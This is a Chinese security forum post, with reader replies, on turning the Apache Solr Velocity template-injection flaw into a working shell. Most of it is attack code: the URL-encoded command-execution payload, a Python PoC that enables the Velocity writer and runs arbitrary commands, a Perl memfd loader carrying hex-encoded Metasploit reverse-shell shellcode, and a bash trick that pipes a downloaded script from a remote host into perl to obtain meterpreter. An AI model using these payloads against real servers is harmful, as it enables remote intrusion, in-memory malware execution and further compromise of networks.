Apache Solr Velocity RCE 真的 getshell 了吗

本文作者: haya (信安之路红蓝对抗小组成员)

成员招募:信安之路红蓝对抗小组招募志同道合的朋友

在复现 Apache Solr Velocity 模板注入时,发现了一些问题,因为这些问题即使可以执行命令,也不能进行后续渗透。

公开的 poc

根据目前普遍流传的 poc 来看,执行命令的 poc 为:

select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

于是,可以自定义执行命令的 poc 为:

url += "/solr/"+core_name+"/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27"+cmd+"%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end"

面临的问题

实际测试 getshell 中,遇到了两个问题:

1、只能执行命令,无法写入文件。

2、不能使用管道符重定向文件

这样我们无法上传文件,也不方便后续渗透,这样的 rce 就比较尴尬了。

问题分析与解决

在部分环境中无法向磁盘写入文件,甚至无法 ls /home/solr 直接 500 错误

通过内存加载文件不落地可以解决该问题。

参考开源项目:

GitHub - fbkcs/msf-elf-in-memory-execution: Post module for Metasploit to execute ELF in memory

这里使用 msf 生成了个 payload shell.elf。

考虑到目标环境有 perl,所以本次使用 perl 来加载,将自己的 payload 放入加载器:

╰─ perl -e '$/=\32;print"print \$FH pack q/H*/, q/".(unpack"H*")."/\ or die qq/write: \$!/;\n"while(<>)'  shell.elf
print $FH pack q/H*/, q/7f454c4601010100000000000000000002000300010000005480040834000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0000000000000000340020000100000000000000010000000000000000800408/ or die qq/write: $!/;
print $FH pack q/H*/, q/00800408cf0000004a01000007000000001000006a0a5e31dbf7e35343536a02/ or die qq/write: $!/;
print $FH pack q/H*/, q/b06689e1cd80975b68c0a801d2680200115c89e16a665850515789e143cd8085/ or die qq/write: $!/;
print $FH pack q/H*/, q/c079194e743d68a2000000586a006a0589e331c9cd8085c079bdeb27b207b900/ or die qq/write: $!/;
print $FH pack q/H*/, q/10000089e3c1eb0cc1e30cb07dcd8085c078105b89e199b60cb003cd8085c078/ or die qq/write: $!/;
print $FH pack q/H*/, q/02ffe1b801000000bb01000000cd80/ or die qq/write: $!/;

将可执行文件输出,再传入文件描述符,通过 exec 来内存执行。

完整的 solr.pl 代码如下:

my $name = "";
my $fd = syscall(319, $name, 1);
if (-1 == $fd) {
          die "memfd_create: $!";
  }
open(my $FH, '>&='.$fd) or die "open: $!";
select((select($FH), $|=1)[0]);
print $FH pack q/H*/, q/7f454c4601010100000000000000000002000300010000005480040834000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0000000000000000340020000100000000000000010000000000000000800408/ or die qq/write: $!/;
print $FH pack q/H*/, q/00800408cf0000004a01000007000000001000006a0a5e31dbf7e35343536a02/ or die qq/write: $!/;
print $FH pack q/H*/, q/b06689e1cd80975b68c0a801d2680200115c89e16a665850515789e143cd8085/ or die qq/write: $!/;
print $FH pack q/H*/, q/c079194e743d68a2000000586a006a0589e331c9cd8085c079bdeb27b207b900/ or die qq/write: $!/;
print $FH pack q/H*/, q/10000089e3c1eb0cc1e30cb07dcd8085c078105b89e199b60cb003cd8085c078/ or die qq/write: $!/;
print $FH pack q/H*/, q/02ffe1b801000000bb01000000cd80/ or die qq/write: $!/;
exec {"/proc/$$/fd/$fd"} or die "exec: $!";

尝试获取 shell。

并没有成功,这里涉及到第二个问题。

Java 中 Velocity #set 指令是向引擎上下文对象添加属性或对已有属性进行修改。

那注入的这个模板进行命令执行实际上也是用了 getRuntime().exec()

getRuntime().exec() 不能直接传入管道符

绕过方法有很多,我这里用到的是 $@$@ 在 linux 中代表脚本执行的参数。

(在命令行中执行稍有不同,需要加引号: /bin/bash -c '$@|perl' foo curl http://localhost/solr.pl


/bin/bash -c $@|perl foo curl http://localhost/solr.pl
// $@ 将foo当成要运行的脚本,将 curl http://localhost/solr.pl 作为参数传递

curl 获得 meterpreter。

完整 poc

import requests
import json
import sys


def get_name(url):
    print "[-] Get core name."
    url += "/solr/admin/cores?wt=json&indexInfo=false"
    conn = requests.request("GET", url=url)
    name = "test"
    try:
        name = list(json.loads(conn.text)["status"])[0]
    except:
        pass
    return name

def update_config(url, name):

    url += "/solr/"+name+"/config"
    print "[-] Update config.", url
    headers = {"Content-Type": "application/json",
               "User-Agent": "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0"}
    post_data = """
    {
      "update-queryresponsewriter": {
        "startup": "lazy",
        "name": "velocity",
        "class": "solr.VelocityResponseWriter",
        "template.base.dir": "",
        "solr.resource.loader.enabled": "true",
        "params.resource.loader.enabled": "true"
      }
    }
    """
    conn = requests.request("POST", url, data=post_data, headers=headers)
    if conn.status_code != 200:
        print "update config error: ", conn.status_code
        sys.exit(1)


def poc(url):
    print "[-] Start get ."
    core_name = get_name(url)
    url += "/solr/"+core_name+"/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27" + cmd + "%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end"
    print(url)
    conn = requests.request("GET", url, timeout=6, verify=False)
    print conn.text


if __name__ == '__main__':
    target = sys.argv[1]
    cmd = sys.argv[2]
    poc(target)
// Form https://github.com/wyzxxz/Apache_Solr_RCE_via_Velocity_template
1 个赞

很赞,学到了不一样的姿势

http://www.svenbeast.com/post/QmuCuXJa9/
请问我反弹的shell和你这个有什么区别吗

这个主要是为了后面的域渗透方便点,另外我遇到的环境有点特殊,具体情况在公众号原文置顶评论有说明,师傅可以参考下 https://mp.weixin.qq.com/s/0UDAsts1MbDVGz4oWwjxoA

我记得java.lang.Runtime这种方式执行命令只能执行单命令,也就是whomi,ls,uname,ifconfig等等,加参数的不行,因为java.lang.Runtime底层实现会把命令分切为数组,打乱原有的命令含义。

参考 安恒 红队渗透攻击百科全书,java反序列化篇

最近遇到一个Windows的,就是亿赛通用到了solr这个组件的,请问有深入利用的办法吗